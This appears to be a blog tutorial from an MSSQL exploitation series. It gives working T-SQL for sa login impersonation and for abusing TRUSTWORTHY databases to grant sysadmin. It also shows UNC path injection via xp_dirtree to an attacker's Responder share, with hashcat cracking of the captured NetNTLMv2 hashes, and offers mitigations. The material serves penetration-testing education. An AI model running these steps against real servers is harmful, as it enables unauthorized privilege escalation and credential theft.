Post

2. Basic Privilege Escalation Queries

MSSQL server enumeration and exploitation series

2. Basic Privilege Escalation Queries


The goal is to end up as a login with the server-level sysadmin role, such as the built-in sa login, which is comparable to the BUILTIN\Administrators group What ever the method used to achieve that; There are many caces we can escalate our privilage from

  • from one login to another.
  • from one user to another.
  • from one login to a domain user.

INFO: The sa login is disabled by default when Windows Authentication Mode is selected during installation.


🎭 Impersonating Logins

Using EXECUTE AS which allows a login (or user) to switch the execution context of a session to another login (or user), essentially impersonating them

Which logins are allowed to impersonate which other logins is controlled by server-level IMPERSONATE permissions, stored in the sys.server_permissions table.

  1. Enumerate all the logins our current login is allowed to impersonate

    1
    2
    3
    4
    
     SELECT name FROM sys.server_permissions
     JOIN sys.server_principals
     ON grantor_principal_id = principal_id
     WHERE permission_name = 'IMPERSONATE';
    

    image.png

    In this case, our login ws_dev is permitted to impersonate the logins ws_user and sa .

  2. impersonate the sa login

    1
    2
    3
    
     EXECUTE AS LOGIN = 'sa';
     SELECT SYSTEM_USER;
     SELECT IS_ROLEMEMBER('db_owner');
    

    image.png

  3. Reverting changes

    After impersonating sa , all of the following T-SQL queries will execute under their context, until we issue the REVERT

    image.png


🛡️ Abusing Trustworthy Databases in MSSQL

🔍 What is “Trustworthy” in MSSQL?

The TRUSTWORTHY property of a SQL Server database indicates whether that database can be trusted to access server-level resources beyond its scope, such as modifying server roles or interacting with linked servers.

  • Default: OFF (for security reasons).
  • Risk: If enabled, and a user with db_owner role is compromised, it can lead to server-level privilege escalation (e.g., assigning sysadmin to any login).

✅ Requirements for the Attack

To successfully abuse a trustworthy database for privilege escalation:

  1. The database must be marked as TRUSTWORTHY = ON.
  2. You must have control over an account with db_owner role within that database.
  3. The server-level login corresponding to the user must exist (or be creatable).
  4. The user executing the payload must be able to impersonate or escalate to the database owner (which typically maps to a server-level principal).

🔎 Step-by-Step Breakdown

1. 🔍 Enumerate Databases and Trust Status

To find all databases, their owners, and whether they’re marked as trustworthy:

1
2
3
SELECT a.name AS 'database', b.name AS 'owner', is_trustworthy_on
FROM sys.databases a
JOIN sys.server_principals b ON a.owner_sid = b.sid;

image.png

  • is_trustworthy_on = 1 → candidate for abuse
  • Check if you have access to any database where your current login is in the db_owner role.

2. 🔍 Enumerate Database-Level Users and Roles

Switch to a target database and list users and their roles:

1
2
USE webshop;
EXECUTE sp_helpuser;

image.png

This stored procedure helps list the users in a particular database along with their roles and permissions sp-helpuser.

3. 🔍 Deeper Role Membership Check

To check the exact members of the db_owner role in that database:

1
2
3
4
5
USE webshop;
SELECT b.name AS role_name, c.name AS member_name
FROM webshop.sys.database_role_members a
JOIN webshop.sys.database_principals b ON a.role_principal_id = b.principal_id
LEFT JOIN webshop.sys.database_principals c ON a.member_principal_id = c.principal_id;

image.png

  • This shows who holds which roles.
  • Empty names might indicate users you can’t see due to permission limits.

4. ⚙️ Privilege Escalation Payload

Once you have a user in db_owner and the DB is trustworthy, you can escalate to sysadmin:

1
2
3
4
5
6
7
8
CREATE PROCEDURE sp_privesc
WITH EXECUTE AS OWNER
AS
    EXEC sp_addsrvrolemember 'ws_dev', 'sysadmin';
GO

EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;
  • WITH EXECUTE AS OWNER → temporarily execute with the permission of the database owner, who often maps to a server-level principal.

5. ✅ Verification of sysadmin Privilege

Check if the escalation worked:

1
2
3
REVERT; -- Go back to original context
SELECT SYSTEM_USER; -- Show current login
SELECT IS_SRVROLEMEMBER('sysadmin'); -- Returns 1 if sysadmin

image.png

🧠 Why This Works

  • When a DB is TRUSTWORTHY = ON, it allows code execution under database-level roles (like db_owner) to act with elevated server-level privileges.
  • The EXECUTE AS OWNER clause executes stored procedures as the DB owner, who might be a sysadmin or a higher privileged server principal.
  • Thus, if an attacker can create and run such a procedure, they can grant themselves sysadmin or any server-level role.

🧩 Defense & Mitigation

  1. Keep TRUSTWORTHY set to OFF unless absolutely necessary.
  2. Avoid mapping database owners to high-privileged logins (like sa).
  3. Limit db_owner access only to trusted accounts.
  4. Monitor server roles and audit changes to sysadmin membership.

🧬 UNC Path Injection

🧠 What is It?

UNC Path Injection is an attack where an attacker tricks a remote MSSQL server into making an SMB request to a malicious server, allowing the attacker to capture NetNTLMv2 hashes of the account that the SQL Server is running under.

✅ UNC = Universal Naming Convention

Example: \\192.168.1.5\share\file.txt (used for network paths)

🔥 Why Is It Dangerous?

  • It can leak NetNTLMv2 hashes.
  • If SQL Server runs as a domain user account, the leaked credentials might have privileged access on the domain (e.g., backup accounts or service accounts with elevated rights).
  • These hashes can be cracked offline or used in relay attacks.

✅ Requirements

RequirementDescription
MSSQL server accessibleYou must be able to interact with the MSSQL instance (SQLi, RCE, or valid login).
Ability to run xp_* proceduresThe user must have permission to execute extended stored procedures like xp_dirtree.
Attacker-controlled SMB serverTools like Responder or Impacket SMB server running on attacker’s machine.
Outbound SMB allowedThe MSSQL server must be able to make outbound SMB requests (TCP 445).

⚙️ Extended Stored Procedures

These are undocumented stored procedures in SQL Server that interact with the filesystem and accept UNC paths (which makes the injection possible):

ProcedureDescription
xp_fileexistChecks if a file or directory exists (returns result set).
xp_dirtreeLists directories and subdirectories of a given path.
xp_subdirsReturns subdirectories for a given path.

🔍 Verifying Usage (Optional)

Run this to check if xp_fileexist works locally:

1
EXEC xp_fileexist 'C:\Windows\System32\drivers\etc\hosts';

image.png If the result shows 1, the function is enabled and working.

🚨 UNC Injection for Hash Capture

  1. Set up Responder to act as an SMB server on your machine:

    1
    
     sudo responder -I tun0 -v
    
  2. Then run any of the following on the MSSQL server:

    1
    2
    3
    
     EXEC xp_dirtree '\\<Your-IP>\share';
     EXEC xp_subdirs '\\<Your-IP>\share';
     EXEC xp_fileexist '\\<Your-IP>\share';
    

    image.png

If successful, MSSQL will try to authenticate with the attacker’s SMB share using the credentials of the SQL service account.

🪝 Hash Capture and Cracking

After capture a NetNTLMv2 hash we need to Crack it using Hashcat with the mode 5600:

1
hashcat -m 5600 '<NetNTLMv2_Hash>' /usr/share/wordlists/rockyou.txt

image.png

If cracked successfully, you now have plaintext credentials of the service account.

🛡️ Mitigation & Defense

DefenseDescription
Disable xp_cmdshell and xp_* procsDisable unnecessary extended stored procedures.
Restrict outbound SMBUse firewall rules to block outbound SMB connections from SQL Servers.
Run MSSQL under least-privileged usersAvoid using domain-level or high-privileged accounts for services.
Monitor for unusual SMB activityWatch for authentication attempts to unknown/untrusted servers.

🧩 TL;DR – Attack Summary

  1. Check for usable extended stored procedures.
  2. Run xp_dirtree or similar with a UNC path pointing to your SMB server.
  3. Capture NetNTLMv2 hash with Responder.
  4. Crack the hash with Hashcat (mode 5600).
  5. Use the recovered credentials for lateral movement or privilege escalation.
This post is licensed under CC BY 4.0 by the author.